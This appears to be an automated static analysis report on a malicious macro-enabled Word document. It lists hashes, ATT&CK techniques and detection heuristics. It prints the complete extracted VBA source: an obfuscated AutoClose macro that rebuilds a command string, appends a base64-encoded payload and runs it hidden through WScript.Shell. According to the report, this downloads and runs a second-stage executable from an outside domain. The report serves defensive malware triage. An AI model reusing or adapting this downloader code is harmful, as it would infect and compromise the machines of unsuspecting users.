Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f23d4daa59e77199…

MALICIOUS

Office (OOXML)

65.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-10-30
MD5: bbf3be06a6f4b6b34af48f55072da837 SHA-1: 4ee432a723f26b76fd7f91991b297e57b0913562 SHA-256: f23d4daa59e771990a4ed13100d5a39454c89e3c01ccfb6bfa9b3257dcd51b13
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros, specifically an AutoClose macro, that utilize WScript.Shell and CreateObject to download a file from the reconstructed URL 'http://okijgtfrbgkzamhjwew.com/a.exe'. This downloaded file is likely a second-stage payload, as indicated by the ClamAV detection 'Doc.Downloader.Powload-6707242-0'. The use of VBA and the download functionality strongly suggest a downloader malware.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         If alteration - sphenethmoidal > 1 Then
       CreateObject("WScript.Shell").Run gazebo, 0
       halosauridae = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If alteration - sphenethmoidal > 1 Then
       CreateObject("WScript.Shell").Run gazebo, 0
       halosauridae = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  schlemihls = Array("g", "V", "r", "4", "S", "A", "L", "2", "g", "J", "K", "2", "J", "8", "G", "r", "G", "U", "G", "L", "G", "D", "G", "S", "G", "1", "G", "L", "G", "5", "G", "5", "G", "Z", "G", "L", "G", "X", "G", "L", "G", "J", "P", "o", "r", "N", "X", "F", "6", "J", "P", "N", "X", "L", "2", "J", "H", "Q", "A", "q", "v", "v", "J", "P", "N", "V", "J")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3069 bytes
SHA-256: 51455905537f58576644665c9c785a4ca79aa78ba135f3020ec4308729eff184
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function heredium(schlemihls)
  uncleared = Array("r", "5", "q", "P", "J", "o", "4", "1", "D", "N", "V", "6", "2", "H", "L", "K", "F", "U", "Z", "g", "S", "Q", "A", "G", "X", "8", "v")
  colling = Array("o", "l", "a", "-", " ", "N", "m", "h", "r", "E", "C", "t", "c", "B", "e", "/", "i", "w", ".", "%", "S", "y", "p", "^", "x", "P", "s")
  
  blastodermatic = vbNullString
  
  For Each lymphaemia In schlemihls
    cistic = brachiostrophosis(lymphaemia, uncleared, UBound(uncleared))
    If cistic > -1 Then
    blastodermatic = colling(cistic) & blastodermatic
    End If
  Next
  
  heredium = StrReverse(blastodermatic)
  
End Function

Public Function brachiostrophosis(queanish, chummy, ceptor)
  swordsman = 0
  thymiosis = -1
  For swordsman = 0 To ceptor
    If chummy(swordsman) = queanish Then
     thymiosis = swordsman
    End If
  Next
  
  brachiostrophosis = thymiosis
End Function

Sub AutoClose()
  schlemihls = Array("g", "V", "r", "4", "S", "A", "L", "2", "g", "J", "K", "2", "J", "8", "G", "r", "G", "U", "G", "L", "G", "D", "G", "S", "G", "1", "G", "L", "G", "5", "G", "5", "G", "Z", "G", "L", "G", "X", "G", "L", "G", "J", "P", "o", "r", "N", "X", "F", "6", "J", "P", "N", "X", "L", "2", "J", "H", "Q", "A", "q", "v", "v", "J", "P", "N", "V", "J")
  coo = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAG8AawBpAGoAZwB0AGYAcgBiAGcAawB6AGEAbQBoAGoAdwBlAGUAbwByAC4AYwBvAG0ALwBTAFMALwBnAGUAcwBkAC4AdAB6AG0AJwAsACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAArACAAJwBcAC0ANgA1ADAAOQA3ADUAOQAyADYALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwALQA2ADUAMAA5ADcANQA5ADIANgAuAGUAeABlACcAOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAG8AawBpAGoAZwB0AGYAcgBiAGcAawB6AGEAbQBoAGoAdwBlAGUAbwByAC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBnAGUAcwBkACcAKQA7AEkARQBYACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZwBpAGQAcgBvAGwAbwBnAGkAawBhAC4AcgB1AC8AUwB0AGEAdAAuAGMAbwB1AG4AdAAnACkAKQA7AA=="
  preluxurious = heredium(schlemihls)
  
  Application.Run "superreflection", preluxurious + coo
  
End Sub


Private Sub superreflection(gazebo)
   
   sphenethmoidal = DateDiff("s", #1/1/1970#, Now())
   halosauridae = True
   
   While halosauridae
     alteration = DateDiff("s", #1/1/1970#, Now())
     If alteration - sphenethmoidal > 1 Then
       CreateObject("WScript.Shell").Run gazebo, 0
       halosauridae = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 5721ae083eb99d6e46a1a20f12935c82f7bd57a53252cfa2fa7c7b5123cfba8a
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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